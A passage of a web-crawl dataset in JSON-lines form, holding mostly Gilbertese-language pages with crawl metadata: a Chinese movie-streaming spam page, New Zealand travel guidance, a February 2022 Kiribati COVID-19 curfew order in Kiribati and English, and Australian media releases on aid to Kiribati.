offer.","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=3ocingnlqo2qr","date":"2022-05-21T21:30:40Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662541747.38\/warc\/CC-MAIN-20220521205757-20220521235757-00512.warc.gz","language":"gil","language_score":0.8934816122,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.8934816122055054, \"pcm_Latn_score\": 0.02235342375934124}","num_words":571,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.265,"stopwords_ratio":0.128,"flagged_words_ratio":0.0,"lang_id_score":0.895,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"aika zero是由执导、栾云平,孟鹤伦,孟鹤堂,张九良,周九良,杨九郎,张九南,秦霄贤主演的电影,在2021年上映播出由栾云平带领鹤字科九字科霄字科等诸位师兄弟体验传统文化与相声结合的现代化表达新节目狼群影院提供了aika zero在线观看,并且还可以支持手机看aika zero,不需要下载播放器,方便广大影迷观看。\naika zero爱奇艺在线 aika zero优酷在线 aika zero西瓜影音 aika zero百度百科 aika zero预告片 aika zero原著 aika zero什么时候播 aika zero小说原著 aika zero在线免费观看 aika zero豆瓣评分 aika zero演员表 剧情片aika zero评价 aika zero结局 电影aika zero说的是什么 aika zero图片 aika zero定档 在线电影aika zero好看吗 aika zero剧情介绍 aika zero幕后花絮 aika zero人物关系 aika zero角色介绍 aika zero上映时间 aika zero迅雷","id":"","dump":"CC-MAIN-2022-27","url":"https:\/\/xj-bearings.com\/voddetail\/33752.html","date":"2022-06-27T23:28:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-27\/segments\/1656103344783.24\/warc\/CC-MAIN-20220627225823-20220628015823-00612.warc.gz","language":"gil","language_score":0.5807437301,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.5807437300682068, \"und_Mtei_score\": 0.12192811816930771, \"syl_Latn_score\": 0.06644945591688156, \"und_Yiii_score\": 0.025804994627833366, \"fin_Latn_score\": 0.01642361469566822, \"teo_Latn_score\": 0.013301479630172253, \"eus_Latn_score\": 0.012902377173304558, \"gom_Latn_score\": 0.012254779227077961, \"swg_Latn_score\": 0.01106828823685646, \"zne_Latn_score\": 0.010826806537806988}","num_words":50,"character_repetition_ratio":0.087,"word_repetition_ratio":0.0,"special_characters_ratio":0.141,"stopwords_ratio":0.42,"flagged_words_ratio":0.0,"lang_id_score":0.521,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te mwamwananga nako Nutiran | Travelling to New Zealand\nIbukin taekan te mwamwananga nako Nutiran\nNgkana kona mwananga nako Nutiran, ao ko kainanoa ae kona rinanon bwaai aika a kainanoaki bwa kona kakoroi nanoia aika a bati.\nTaian mwaneka aika a oti inano aikai a kabwarabwara bwa tera am bwai ni kakoaua ae ko kainanoia ngkana ko nang rinnakoa Nutiran.\nKo aki kainanoa ngkanne te tutuo imwain mwanangam nako Nutiran. Ko aki kainanoa ae kona itinaki, ke n tutuo n rokom iaon Nutiran.\nE na kona ni iai te bitaki n te tai ae tawe - Te Immigration New Zealand e na katauraoa te rongorongo ae e boou.\nTe mwamwananga nako Nutiran | Immigration Nutiran (external link)\n1. Tuoia bwa ko kona ni kawara Nutiran\nNgkana kona mwananga nako Nutiran, ao ko kainanoa ae kona rinanon bwaai aika a kainanoaki bwa kona kakoroi nanoia aika a bati man te botaki ni mwakuri ibukin te mwamwananga.\nImwain te mwananga, kakoaua bwa am bwatiboti e tuai bane taina. Kona kainanoa naba ae kona karekea am New Zealand Electronic Travel Authority (NZeTA).\nTuoia ngkana ko katauaki ni mwananga nako Nutiran | immigration.govt.nz (external link)\nBubuti ibukin te NZeTA | immigration.govt.nz (external link)\n2. Kabaea aram ibukin te mwananga\nKabaea aram ibukin te mwananga nako Nutiran.\nTuoa ana kainibaire te wanikiba are kona toka iai ni irekereke ma taekan te itinaki, kamaunan aram ao kaokan am mwane ngkana arona bwa ko tangiria ni bita am iango.\nKo riai naba ni bairea kaboan te kabomwi ibukin te mwamwananga ngkana arona bwa am baaronga ibukin mwanangam e na rootaki. Ko riai naba n taraa te itera are kabaean am ruu ibukin kaokoroam bon iroum, ngkana e na kainanoaki anne.\n3. N te marae\nNgkana e kainanoaki, ao kona kainanoa am:\n- bwatiboti\n- te visa - ngkana e na kainanoaki\n- am tiketi ibukin mwanangam\n4. Ngkana ko a roko i Nutiran\nTe Katitam are e na kakoaua rongorongon mwiin mwamwanangam ao bwaai riki tabeua ake ana kainanoaki. Kantaninga te mwarara teutana te tai ngkana ko na tiku teutana te tai n te marae imwain manga mwanangam.\nAo are kona anganaki am beeba ibukin am rongorongo. Kanoan te beeba ni butimwai anne bon taekan te:\n- te tutuo ae te rapid antigen (RATs) ae tawe\n- te kaetieti ibukin tuoan ao katokaan mwiin am tutuo.\nKatabwanina am tutuo ao katokai n aron are e taekinaki n te kaetieti.\nBwaai aika a kainanoaki ibukin te tutuo imwiin rokom iaon Nutiran\nLast updated: at","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/covid19.govt.nz\/languages-and-resources\/translations\/kiribati\/travel\/travelling-to-new-zealand\/","date":"2023-05-28T01:05:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224643388.45\/warc\/CC-MAIN-20230527223515-20230528013515-00718.warc.gz","language":"gil","language_score":1.0000098944,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000098943710327}","num_words":401,"character_repetition_ratio":0.097,"word_repetition_ratio":0.071,"special_characters_ratio":0.201,"stopwords_ratio":0.294,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Te Oota ibukin kainakin Tarawa Teinainano, Betio, Buota ao Butaritari\n(Bairiki, Tarawa Katenibong, 23 Beberuare 2022)-----E a tia te Tautaeka n baireia bwa ena manga reitanako riki te kainiin iaon Tarawa Teinainano, Betio ma Buota ao ai Butaritari, inanon uoua (2) riki te wiiki ni moa man te Kanimabong 18 n Beberuare 2022 ni karokoa te Kanimabong 4 ni Maati 2022.\nE kakawaki bwa e na matata iroun te botanaomata bwa uoua ngkai te Oota ae e karaoaki ibukin kauarerekean butinakon te Aoraki ae te COVID-19. Te moan Oota ibukia abamakoro aika Tarawa Teinanano, Betio ma Buota ao te abamakoro ae Butaritari man te itera meang. Aikai abamakoro aika a tia n rotaki nte COVID-19 ao ni kainaki ibukin aua te wiiki. Te kauoua n Oota ngkanne bon ibukin abamakoro aika a uakaan ma Tarawa ao ake a tibwa rotaki n te COVID-19 n aron Marakei, Maiana, Abaiang, North Tarawa, Abemama ao ai Aranuka ao Makin. Te kainin ibukin abamakoro aikai e na matoa riki n aron are e karaoaki iaon Tarawa Teinanano ibukin kauarerekean ao katokan butinakon te Aoraki ae e rangi n ewewe aio.\nE boboto karaoan te babaire aio ibukin kataan kauarerekean ao totokoan butinakon te aoraki aio iaon Kiribati n raonaki ma katabwaninan mwakuri n ibuobuoki ao katamaroa nakon ana kainibaire ma babaronga te Botaki ibukin te Mauri ao Katoki Aoraki are e waaki inanona ngkai ma tiim n ibuobuoki ake a roko mai Aotiteria, Botakin te Betebeke (SPC), UNICEF ao ai WHO.\nImwiin ana kamatebwai te Botaki ibukin te Mauri ao Katoki Aoraki ma tiim n ibuobuoki aikai, ao e oti bwa birimwakan butin te aoraki aio e bon reke man aki iran nanon kainibaire ake a tia n kawenei te Botaki n Mwakuri aio ibukin katanan te botannaomata man te COVID-19 n aron aikai:\n• Kabonganakin te rabuna n uubu,\n• Te tauraroa n te maranga ae uoua te miita,\n• Kakoroan raoi iiti n katantan,\n• Bwainakin te kakaitiaki n taainako,\n• Ao n reitaki naba ma te aki muuti irouia koraki ake iai namakinan te Aoraki aei irouia ao man teimatoa n aki roko ni kawarii kiriniki ibukin aia tutuo.\nMoan te kakawaki bwa tina kauarerekea butinakon te Aoraki aio ngkai e kakoauaki bwa ti nang bon maeka ma ngaia. Uarereken butinakon te Aoraki aio e na ibuobuoki nakon ana waaki te Botaki ibukin te Mauri ao Katoki Aoraki bwa ana kona n tararuaia ao ni kabanea riki aia tai ibukia ake a bon rangi n kainanoa riki te ibuobuoki. Tabemwang a taku bwa tiaki te oi n Aoraki, ma e kakawaki bwa e na ataia te botannaomata bwa iai aomata aika a kakai rotaki n aroia kaara, ao aomata ake iai aorakiia aika aki ewewe n aron te tioka, te rietata n rara, te buro, te kaikeike ao a bati riki. E kona n uarereke butinakon te Aoraki aio ngkana ti bonnano ao ni ikarekebai n iri nanon ana kainibaire ke SOPs are e a tia n kakaongora iai te Botaki ibukin te Mauri ao Katoki Aoraki.\nMan karaoan raoi tibwangara ao ara kakaonimaki n iri nanon ana kainibaire te Botaki ibukin te Mauri ao Katoki Aoraki, ao e na bon rangi n ibuobuoki ibukin taobaraeakian butinakon te aoraki aio. Ibukin maurin te botannaomata ao e kamatoaki bwa e na reitakinako kaanauakin te kainiin iaan te kateniua n rietaata n katauraoi ke Alert Level 3 n te aro bwa e na teimatoa te Botaki n ibukin te Mauri ao Katoki Aoraki n reitanako ana mwakuri n ibuobuoki nakoia ake a bon kainanoa te ibuobuoki.\nAikai ngkanne babaire aika a boou ibukin Tarawa Teinainano, Betio, Buota ao Butaritari:\n1. Kainan te nakonako imarenan te aoa 7 n te bakantaai ni karokoa te aoa 6 n te moaningabong n te bong are imwina.\n2. Ana tabo ni mwakuri ma ana kambwana te Tautaeka nako ana bane n uki man te Moanibong ae 21 n Beberuare ma a na bane n ira nanon SOP are a tia ni kaweneaki ibukiia. Aobitin Bootaki n Aro ma Ekaretia a kaungaki bwa ana uki ngkana a nora riaina ibukin kabutan aia waaki ao a na ira naba te SOP ibukiia aobiti.\n3. Bitineti n aroia wholesalers ao titoa (retailers) ake a kabonakoi amwarake ao bwainaoraki a na teimatoa n uki ibukin te botanaomata imarenan te aoa 6 n te ingabong ni karokoa te aoa 6 n te bwakantaai. A na riai naba n taraia bwa e na iraki nanon te tau raroa ae 2 te mita, rabunan te ubu ao kainibaire riki tabeua man te Botaki Ibukin te Mauri ao Katoki Aoraki (MHMS) inanon ao itinanikun aia titoa n taai nako.\n4. Bitiniti ibukin rabwan kaa ma rebwerebwe, bwain kateitei, kareke birim, taan kateitei, taabo n amwarake ti ibukin te takeaway a na kona naba n uki ma a na bane ira naba tuan te tau raroa are 2 te miita, rabunan te ubu, aki babaware, aki ongiran te ngako ao tabeua riki.\n5. E uki te akawa imarenan te aoa 6 n te ingabong nakon te aoa 6 n te bwakantaai ma bon ti aman taan karaun ke taan akawa iaon te booti ae a kariaiakaki. E taburoroko bwa ana aerake n abamakoro riki tabeua ma bon ti te tabo are a mwananga mai iai.\n6. A na kona n buti bao ni mwamwananga ma a na riai n kamatoa bwa e na kabonganaaki rabunan te ubu iaon aia bao, te aki babaware ao ongiran te bwairi, e na uki taian winto ni kabane ao a na tekateka baatintia iaon kaintekateka akea te itobwatobwa ma te tei.\n7. Reirei ni kabane a na bane n in ni karokoa banen te namwakaina aio. Ti reirei iaon Kiritimati, Tabuaeran ao Teraina ngkai e aki rangi n nakoraoi te internet ao te rerio ibukin te angareirei.\n8. Taabo ni mooi nangkona, mooi manging ao taabo n takakaro a na bane n in. E na teimatoa n tabuaki te bingko.\n9. Bobotaki nako ni ikotaki ma taromauri a na kona ni waaki n aki raka iaon 20 te aomata ao a na boo itinaniku ao n ira tuan te tau raroa ae 2 te mita, rabuna te ubu ao e na raoiroi butin ke ukin te ang iai.\n10. Te nako n te onnaoraki ma kiriniki a kariaiakaki ni kaineti ma ana kainibaaire te Botaki ibukin te Mauri ao Katoki Aoraki.\n11. Mwamwanangaia kaibuke ao kiiba a bon kaukaki ibukin karokoan te bwaa, bwaai n aoraki ao kaako nako aonaba ri taari ao n te kibakiba ma akea bwatintia ae kariaiakaki. Bon ti bwatintia mai Tarawa ake a bae I aonnaba ae a na kariaiakaki n toka n oki nako Tarawa ma a na riai n ira naba nanon te kainibaire ibukin te mwamwananga ao man tia n koro itiia.\n12. E na toki te mwamwananga imarenaia abamwakoro nako, ti imarenan Tarawa ma Butaritari ngkai e kakoauaki bwa titebo aron butin te aoraki aio iaoia.\n13. A kabaeaki bureitiman ao ana taan mwakuri te Tautaeka ake a tia n mwiokoaki bwa a na tara nanon te Oota aio ao te tua ae te Public Health (Infectious Disease) Regulation ao te Disaster Risk Management and Climate Change Act ao babaire riki ake a na kaotinakoaki imwina ba e na bane n iraki nanoia irouia aomata.\n14. Babaire riki tabeua irarikin aikai aika a katawe man kawaekoaki karaoakiia a na kona ni bon ti tuangaki naba bureitiman ao ana taan mwakuri te Tautaeka ake a mwiokoaki bwa a na karaoi nanoia ni kaineti ma taabo tabeua ke aomata ke mwakuri nako ao a mwaiti riki ake a noraki riaina ni karaoaki ibukin kakoroan nanon te Oota aio ma te tua ae te Public Health (Infectious Disease) Regulation ao te Disaster Risk Management and Climate Change Act ni kaineti ma te COVID-19.\n15. Aki iran nanon te Oota ma tuua aikai bon uruan te tua ao a na kona bureitiman ni katikiko ao ni kamatawarikiko. Ko na kona naba n anganaki te tua n te tai naba are ko urua nanon te Oota aio (spot fine) irouia bureitiman n te mwaiti ae $100 are ko na kabwaka nakon te Aobiti ni Mwane I Bairiki inanon 14 te bong man te tai are ko anganaki iai te beba n tua aio bwa ngkana ko aki ao ko na uotaki nakon te kabowi ibukin am bure iaan te Oota aio. Ibukin buokan te matata ao uruan nanon kainibaire ake inanon te Public Health (Infectious Disease) Regulation bon te bure naba iaan te tua.\n16. Ngkana iai te kaokoro ke te aki matata n te oota ae koreaki n te taetae n Kiribati aio ma te oota are koreaki ke n rairaki nakon te taetae n Imatang, ao e na riai n iraki nanon te oota are e koreaki n te taetae n Kiribati aio.\n17. Te tua aio e kamaunai Oota ake a tia n karaoaki mai imwaina ni kaineti ma te Aoraki ae te COVID-19 ao e na moa bwainakina n 18 n Beberuare 2022 n te aoa 6 n te ingabong ni ua 4 n Maati, 2022 n te aoa 6 n te ingabong.\nKam a bubutiaki te botanaomata kateimatoan ami taotaonannano ao ikarebai ibukin karaoakin tibwangara ni kabane ibukin kauarerekean ke n katokan butinakon te aoraki aio. Ti na teimatoa n anga ara boutoka nakoia taan mwakuri n te Botaki ni Mwakuri ibukin te Mauri ao Katoki Aoraki, ara Bureitiman ao tabeman riki, ao man kateimatoaa te ongotaeka ao irakin nanon te kainibaaire ibukin katanara ni kabane.\n----------------------------------\nGovernment has decided to further extend the curfew on South Tarawa, Betio, Buota and Butaritari for another two more weeks or may be longer should the need arise, effective from Friday 18th of February 2022.\nSubsequent to the decision pertaining to this extension, there are also new decisions put in place in addition to the current measures under the Alert Level 3. These new measures which will only apply on South Tarawa, Betio, Buota and Butaritari are as follows:\n1. Curfew hours from 7pm to 6am everyday.\n2. All Government Offices, SOES will be open for operation on Monday 21 February but to comply with the SOP in place for the offices. Church administration offices are encouraged to open for operation as they see fit and to comply with the SOP for offices.\n3. All essential service providers (food wholesale and retail) from the private sector will remain open to the public from 6am to 6pm. They must ensure that social distancing of 2 meters and compulsory wearing of face mask is maintained inside and outside of their shops at all times.\n4. Other businesses that sell tyres, building materials, video shops, building contractors, restaurants for takeaways ONLY can operate but to comply with the Ministry of Health and Medical Services (MHMS) guidelines social distancing of 2 meters, wear face mask, no spitting and nose blowing.\n5. Fishing from 6am to 6pm is hereby allowed and that fishing boats or net fishing near shore is restricted to a group of 4 or a maximum of 4 crew for fishing boats. All fishing boats are not allowed to visit other villages or islands apart from their point of origin.\n6. Public transportation services may operate but will also observe compulsory face mask, open windows, no spitting and nose blowing and other MHMS guidelines and passengers must not share seats nor stand.\n7. School closure until the end of this month, except for the islands of Kiritimati, Tabuaeran and Teraina which have limited access to internet and radio to participate in remote learning.\n8. All kava bars, liquor bars, and night clubs will be closed. Bingo game is still not allowed.\n9. Social gatherings (including churches) up to 20 people are allowed to gather in outdoor setting. With appropriate distancing, masks and good ventilation.\n10. Access to hospital services will be conducted according to the Ministry of Health and Medical Service guidelines as earlier announced.\n11. Delivery of cargoes, fuels and medical supplies by vessel or air service will continue to outer island with no passengers allowed. Only those stranded in the outer islands are allowed to return to Tarawa provided they meet health travel requirements.\n12. No travels between the outer islands are allowed, except the travel between South Tarawa and Butaritari since extent of transmission is similar.\n13. All police officers and other responsible Government officers are hereby ordered to ensure that this Order and future directions issued out of this Order and Public Health (Infectious Disease) Regulation and the Disaster Risk Management and Climate Change Act are complied with by the public.\n14. Urgent direction(s) other than those listed here, if there is a need, may be issued later to the police and other officers of the Government for execution in relation to certain areas or groups of people or activities etc where it deemed necessary to achieve the purposes of this Order and the Public Health (Infectious Disease) Regulation and the Disaster Risk Management and Climate Change Act in relation to COVID-19.\n15. Any person who contravenes any conditions of this Order commits an offence and will be liable to be arrested by the police or imprisonment. On the spot fines of $100 may be imposed by enforcement officers and such fine must be paid to the Ministry of Finance within 14 days from the date of issue or face prosecution. For clarification purposes, any breach of all the provisions of the Public Health (Infectious Disease) Regulation is an offence.\n16. In case of any inconsistencies between this version and the Kiribati version, the Kiribati version shall prevail.\n17. This Order repeals any previous Lockdown and Curfew Orders and is effective on the 18th of February 2022 at 6 am until the 4th of March 2022 at 6am.\nAny person who contravenes any conditions of this Order commits an offence and will be liable to be arrested by the police or imprisonment. For clarification purposes, any breach of all the provisions of the Public Health (Infectious Disease) Regulation is an offence. In case of any inconsistencies between this version and the Kiribati version, the Kiribati version shall prevail.\nThe public is advised to continue to strictly follow the Ministry of Health and Medical Services Standard Operational Procedures, comply with the curfew order, and to visit clinics for test if receiving symptoms to safeguard themselves and their families from this pandemic.\n###\nFor more info, contact:\nCommunications& PR Unit, Office of The President, P.O Box 68, Bairiki, Tarawa, Republic of Kiribati\nTel: +686-75021183, Fax: +686-75021466, Mobile: +686-73026636; E-mail: email@example.com\n88\n4 Shares","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/covid19.gov.ki\/press-release\/Kainakin%20Tarawa%20Teinainano%2C%20Betio%2C%20Buota%20ao%20Butaritari","date":"2023-09-22T00:52:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506320.28\/warc\/CC-MAIN-20230922002008-20230922032008-00095.warc.gz","language":"gil","language_score":0.9999461174,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.999946117401123}","num_words":2343,"character_repetition_ratio":0.06,"word_repetition_ratio":0.048,"special_characters_ratio":0.216,"stopwords_ratio":0.269,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"MEDIA RELEASE\nTe boraraoi (MOU) ae e Boou imarenan Kiribati MHMS ao te University of Melbourne\n13 March 2024\nE a tiba tia n tiainaaki te boraraoi (Memorandum of Understanding) imarenan te Tautaeka ni Kiribati ao Te Tautaeka n Aotiteria rinanon aia rabata ae te University of Melbourne ao te Botaki ni makuri ibukin te Mauri ao Katoki Aoraki. E tiainaaki te boraraoi aio i Aoteria n 21 Beberuare iroun Honourable Dr Tinte ma kain ana tiim inanon tikuia i Aotiteria. Raon Hon. Itinteang n tianaa te boraraoi aio bon mataniwiin te University of Sydney ni mwangana are te tabe ma te makuri ni kuakua. E na boboto te boraraoi aio iaon kakorakoraan te ikarekebai iaon karikirakean makuri n reirei ao kamatebwai n te aro bwa tina kona ni kaotinakoi aanga\/kawai ibukin makuri ni kuakua iaon Kiribati aika a oomwaaka ni kona ni katarai aekaki n aoraki aika a kakaokoro. Te reitaki n iraoraoi ibukin makuri ni kamatebai ibukin katoki aoraki e na kona ni kaotinankoi aanga ni kamaiu nakoia te botanaomata.\nE rang kukurei Aotiteria ni kakoroa nanon te boraraoi aio ao n teimatoa n tatauraoi n ikarekebai ma Te botaki ni kuakua rinanon aanga aika a kakaokoro n aron naba ana waaki n ikarebai iaon te Kiribati Australia Health Sector Program, n ikotaki ma ara buoka rinanon rabata n ibuobuoki rinanon te aono n tebetebeke ao te aonaaba n ikotaki ma te boraraoi ae tibwa tiainaaki aio.\nBwanin rongorongo - nakon te University of Melbourne Media Release here: Click Here\nKiribati Signs MOU with University of Melbourne, Australia\n13 March 2024\nA Memorandum of Understanding (MOU) was signed between the University of Melbourne in Australia and the Government of Kiribati on 21 February 2024. The signing ceremony took place during a recent visit by a delegation from the Kiribati Ministry of Health and Medical Services to Australia.\nThe Honourable Dr Tinte Itinteang, Kiribati Minister for Health and Medical Services, signed the MOU with senior academic and administration staff from the university, including from the Faculty of Medicine, The MOU focusses on strengthening academic and research collaboration to provide a comprehensive approach to health care in Kiribati; one that recognises the impact of our collective expertise to tackle pressing health issues and help save lives.\nAustralia is proud to partner with the Kiribati Ministry of Health and Medical Services through many avenues of cooperation including the Kiribati-Australia Health Support Program, multiple multilateral and regional mechanisms, and partnerships such as the one formalised through this MOU. Australia reiterates its strong commitment to continue this positive partnership into the future.\nFor more information, see the University of Melbourne media release here.\nMEDIA RELEASE\nTe Beretitenti ae rine, Taneti Maamau e anga ana taeka ibukin kaukan umwanreirei aika boou nte reirei ae Sunrise i Temwaiku ao n raonaki iroun ana tia Tei Aotiteria ibukin te Betebeke.\n13 March 2024\nA tia kain te kawa ae Temwaiku ni karaoa aia bukamaru n 12 bongin Maati ibukin tian mwakuri ni kateitei ao katamaroa nakon aia reirei ae Sunrise Primary School. Te Beretitenti ae rine, Taneti Maamau, ngaia are e anga ana taeka ni kauki umwanreirei aika boou aikai ao n taorimwiaki ma maroro mai iroun ana tia Tei Aotiteria ibukin te Betebeke, Ewen McDonald, te Minita ibukin te Botaki n Reirei, Alexander Teabo ao ana tia Tei Aotiteria nakon Kiribati, Karen Bray.\nAna komete te reirei ae Sunrise bon ngaia ake a tia ni baronga kanoan te botaki aio rinanon te Botaki n Reirei ao ni ikarekebai ma kain ana Burati Baan te Ikotaki ni Bureitiman, ake a kaira aia mwaati ataein te reirei ao ni uouo n tain te bukamaru aio.\nTe reirei ae Sunrise bon te ka-28 n reirei are ea tia ni karaoaki mwakuri ni kateitei aika boou ao ni katamaroa nakon aia umwanreirei, iaan ana buoka Aotiteria rinanon te Karikirake ae te Kiribati Education Improvement Program ke te KEIP. Te Karikirake ae te KEIP ea tia n roko n tokina ni banen te ririki ae 2023, ao ngkai ea manga waaki te Karikirake ae boou ae kinaki n arana ae te EduKAiT are tei ibukin Kiribati-Australia Education Program in Tungaru.\nThe new Sunrise Primary School Maneaba and refurbished classroom block with water tanks in foreground\nIai ana mwaneba te reirei ae Sunrise are kateaki naba ibukin ana waaki te reirei ma ataei, Karo ma taan kawakinia ataein te reirei.\nAia tabo n nakonako ataein te reirei a karaoaki n te aro are ataei ana mano man te riringa ao te karau.\nUmwanreirei aika boou ma mwakuri ni katamaroa a kateaki ni kaineti ma kainibaire ibukin mwengaraoia ataein te reirei. Iai tangke n ran ake a kateaki irarikin umwanreirei ma 25,000 mwaitin te rita n ran are a kona ni kawakinna ibukin te ran ni moi ibukia ataein te reirei ao itera riki tabeua.\nTe mwakuri ni kateitei ao ni katamaroa aio ea tia ni karaoaki rinanon te ikarekebai imarenaia kain te Karikirake ae te KEIP, te kambwana ni kateitei i Kiribati ae te Taka Contractors, ana tiim te Botaki n Reirei ake a tabe ma umwanreirei ao te Botaki ni Mwakuri ibukin Mwakurian Karikirake ao kaitematoan te korakora.\nA anga aia maroro te unimwane ao te mataniwi man te reirei ae Sunrise ni kaitaua nakon te tautaeka ao kain Aotiteria ibukin aia umwanreirei aika boou. E reita naba te kaitau te Minita ibukin te Botaki n Reirei nakon Aotiteria ibukin teimatoan aia buoka ae mwaiti nakon te reirei ni kaineti ma ana Kanoa ni mii te Tautaeka iaan ana KV20.\nTe reirei ae Sunrise ea taubobonga n tobwaia ataein Temwaiku ni ikotaki ma ana waaki te reirei ma kain Temwaiku ngkai ao nakon taai aika imwaira.\nAna buoka Aotiteria nakon te Botaki n Reirei e mwaiti kanoana irarikin mwakuri ni kateitei ao katamaroa nakon umwanreirei. Anne are e na karaoaki iaan ana Karikirake ae boou Aotiteria ae te EduKAiT are e na waaki inanon 10 te ririki rinanon te ikarekebai ma te Botaki n Reirei. Te Karikirake ae te EduKAiT e na reitanako ana buoka Aotiteria nakon katamaroan te anga reirei ma bwai n anga reirei bwa e aonga n karikirake riki aron rabakauia ataein Kiribati.\nStudents at the Sunrise Primary School in the central field with their new double storey classroom block in the background.\nPresident HE Maamau officially opens Temaiku Sunrise Primary School alongside Australia's Special Envoy for the Pacific and Regional Affairs\n13 March 2024\nThe Temaiku community gathered on Tuesday 12 March 2024 to celebrate the completion of the extensive upgrade and refurbishment of Sunrise Primary School. President of the Republic of Kiribati, His Excellency Taneti Maamau, formally opened the new facilities accompanied by the Australian Government's Special Envoy for the Pacific and Regional Affairs, His Excellency Ewen McDonald. Also in attendance were the Honourable Alexander Teabo, Minister of Education, and Australia's High Commissioner to Kiribati, Her Excellency Karen Bray.\nThe event, led by the Sunrise School community with support from the Ministry of Education, involved the Kiribati Police Service Brass Band, a march past by the school children, and performances.\nSunrise Primary school is the 28th school funded by the Australian Government through the $100 million Kiribati Education Improvement Program (KEIP). KEIP has now concluded and has been replaced by a new program called EduKAiT – the Kiribati-Australia Education Program in Tungaru.\nThe school upgrade has delivered a new spacious maneaba, which sits at the heart of the school and provides an all-weather venue for school and community activities.\nFourteen new classrooms surrounding the maneaba are modern, well-ventilated and fitted with whiteboards and resilient locally made school furniture.\nCovered walkways and raised footpaths provide inclusive and safe access to all classrooms.\nIn keeping with the sustainable features of the design, which include use of natural lighting and ventilation, are the 25 1000 litre water tanks situated at the ends of classroom blocks. These tanks ensure efficient rainwater harvesting to feed the 15 toilets and provide safe drinking water taps for convenient student and teacher use.\nThe school was built in close collaboration between the Australian Government's KEIP (now EduKAiT) program team, and local contractor Taka Contractors with technical support from the Ministry of Education's Facilities Management Unit (FMU), and the Ministry of Infrastructure and Sustainable Energy (MISE).\nThe Unimwane, Sunrise Primary school board and Head Teacher, and all expressed their sincere gratitude to the Government and the people of Australia for the best and newest school facilities in Kiribati. In his keynote speech, Minister Teabo thanked Australia for consistently delivering significant funding to supplement the Government of Kiribati's 20-year Vision education goals.\nThe Sunrise Primary school is a community asset, which will serve the Temaiku students and school community for this generation and into the next.\nAustralia's investment in Kiribati's education sector is not limited to infrastructure development. EduKAiT represents a new ten-year multi-million dollar investment in partnership with the Ministry of Education (MOE) to continue support for quality teacher training and resources. Australia supports the MOE's strategic plan including to strengthen literacy and education outcomes.\nThe Kiribati and Australian flags flying at the Sunrise Primary School, Temaiku.\nMEDIA RELEASE\nE waekoa n roko ana buoka Aotiteria nakon te Botaki ni Mwakuri ibukin te Mauri ao Katoki Aoraki.\n5 March 2024\nEa tia Aotiteria n ienikuria rokon kaako aika a rangi ni kakawaki ibukin te mwakuri ni kuakua, nakon te Botaki ni Mwakuri ibukin te Mauri ao Katoki Aoraki. Aio te buoka ibukin kaekaan te bubuti ibukin taren kaako ni bwainaoraki ake a karina ni bane ao ni n rangi ni kainanoaki ibukin mwakuri ni kuakua iaon Kiribati ni kabuta ao ai bon nakon ana onaoraki Kiribati ae te Tungaru Central Hospital.\nE waekoa Aotiteria ni karokoi bwai n Aoraki aika a rangi ni korakora kainanoaia aikai, n ikotaki ma te ibuobuoki irouia ana taan karaoa te angareirei iaon bwain Aoraki tabeua, karaoan kataneiai ao ai bon tabeua buoka riki aika rangi ni kakawaki ibukin teimatoan te rikirake n te mwakuri n te mauri.\nA tia ni butimwaea te buoka aio te tia koroboki ibukin te mauri ao katoki Aoraki, ae Benny Teuea, ao te tarekita tienera ibukin te mauri ae Dr Revite Kirition, ao ni bane n roko raoi ngkai inanon bain te pharmacy I Nawerewere. Ana bon bane n tibwaaki nako bwainaoraki aikai ibukia Aoraki ake a rangi kainanoia.\nE rangi ni kukurei Aotiteria n teimatoa n riki bwa angan bain te Tautaeka ni Kiribati ae korakora ao n tatauraoi nakon te ibuobuoki nakon Kiribati.\nE kan reita ana karabwarabwa Aotiteria nakon te Nauru Airline ibukin moanibwaian katokaan kaako aika a rangi ni kakawaki aikai nako Tarawa, rinanon kawaia ni kiba are tomaa te Betebeke meang, are boutokaki iroun te Tautaeka n Aotiteria.\nAustralian Government National Critical Care and Trauma Centre staff with some of the critical medical supplies for despatch to Kiribati\nAustralia Provides Swift Response to Ministry of Health & Medical Services\n5 March 2024\nFollowing a request for assistance, Australia has quickly delivered much needed lifesaving medical supplies to the Kiribati Ministry of Health and Medical Services. The support responds to unexpected country wide stockouts of critical supplies and medications facing health clinics and the central hospital.\nAustralia responded quickly to provide high quality and fit-for-purpose support worth around AUD 500,000. Australia's support is not limited to procurement of essential medicines, but includes technical assistance, training, and other longer-term commitments.\nMedicines have already been delivered to the Kiribati central pharmacy and received with thanks by the Secretary of the Ministry of Health and Medical Services, Ms Benny Teuea, and Director-General of Health, Dr Revite Kirition. These supplies will be distributed by the Ministry to support patients most in need.\nAustralia is proud to be a strong, responsive, and dependable partner to Kiribati.\nAustralia wishes to acknowledge Nauru Airlines' support for prioritising this vital cargo into Tarawa using the North Pacific Connector flight, supported by the Australian Government Department of Foreign Affairs and Trade.\nA member of the Australian Government's National Critical Care and Trauma Centre packing boxes for despatch to Kiribati\nAustralian High Commission Ag\/Deputy High Commissioner Brenton Kanowski receives some of the supplies at Bonriki International Airport\nNew Police recruits train on board Reliant\n8 February 2024, Tarawa\nKiribati Police Maritime Unit's newest recruits were welcomed on board Australian Defence Vessel Reliant at Betio Port, Tarawa yesterday (Jan 31).\nReliant's crew was eager to show the recruits 